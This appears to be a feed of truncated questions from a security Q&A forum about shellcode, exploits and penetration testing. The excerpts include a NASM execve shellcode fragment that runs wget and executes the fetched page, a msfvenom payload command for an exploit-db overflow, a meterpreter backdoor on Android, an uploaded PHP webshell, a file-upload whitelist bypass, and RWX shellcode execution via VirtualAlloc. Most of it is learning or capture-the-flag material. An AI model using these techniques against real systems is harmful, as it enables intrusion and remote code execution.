Collaborate Disseminate
I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page:
[bits 64]
global _start
section .text
_start:
xor rcx, rcx
push rcx ; first 4
mov rcx, &qu… Continue reading Linux x86_64 Assembly works standalone, but Segfaults when ran as shellcode in C
I’m trying to get a shellcode using C. I cannot just take .obj file due to the large amount of nulls. I’ve also tried "Shellcode Compiler", but it hasn’t helped me.
Are there any other projects which can help me, or any ways to c… Continue reading C into shell code
I just installed ASX to MP3 Converter 1.82.50 in order to try this Local Stack Overflow: https://www.exploit-db.com/exploits/38457
I generate a shell code in order to pop a calc.exe:
msfvenom -p windows/exec CMD=calc.exe -f python -b ‘\x00… Continue reading How to fix ASX to MP3 Converter 1.82.50 exploit code
This was covered in Linux PrivEsc, task 15, in this TryHackMe room.
I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/local/bin/suid-env2 instead of another pat… Continue reading Abusing Shell Feature for Privilege Escalation
I am working on a pwnable.kr challenge in which I have to write a simple x86_64 assembly shellcode to read a file using syscalls.
I generated the shellcode using pwntools:
from pwn import *
context(arch=’amd64′, os=’linux’)
shellcode = a… Continue reading Shellcode working outside of GDB, but not inside
Is there a service or independent work (github) where I can learn about that service? Metasploit for each module/payload wants an lhost, is it possible set lhost in Metasploit to receive requests from any IP?
I am connected to android using a meterpreter shell, using an embedded backdoor.
I want to run a loop, on the android which will stay running even when the app is closed.
My test.sh script is:
#!/bin/bash
for i in 1 2 3 4 5 6 7 8 9 10
do … Continue reading How to keep android meterpreter shell script running in background after app is closed
I’m doing a pentest on a website and I’ve managed to gain access to the admin’s page that has file upload functionality to an /uploads/ directory. It will only accept html files, per the upload.php source code.
I’ve tried uploading a simpl… Continue reading Help with bypassing file upload whitelist
I have uploaded a WebShell to a website. (Browser also show the confirmation message)
How can I access the website source code and server?
My shell name is 426.php
Why isn’t the shellcode running in this example
example 1
std::vector<unsigned char> decrypted(encrypted.size());
void *exec = VirtualAlloc(0, decrypted.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, &decry… Continue reading Shellcode not running if declared as vector of unsigned chars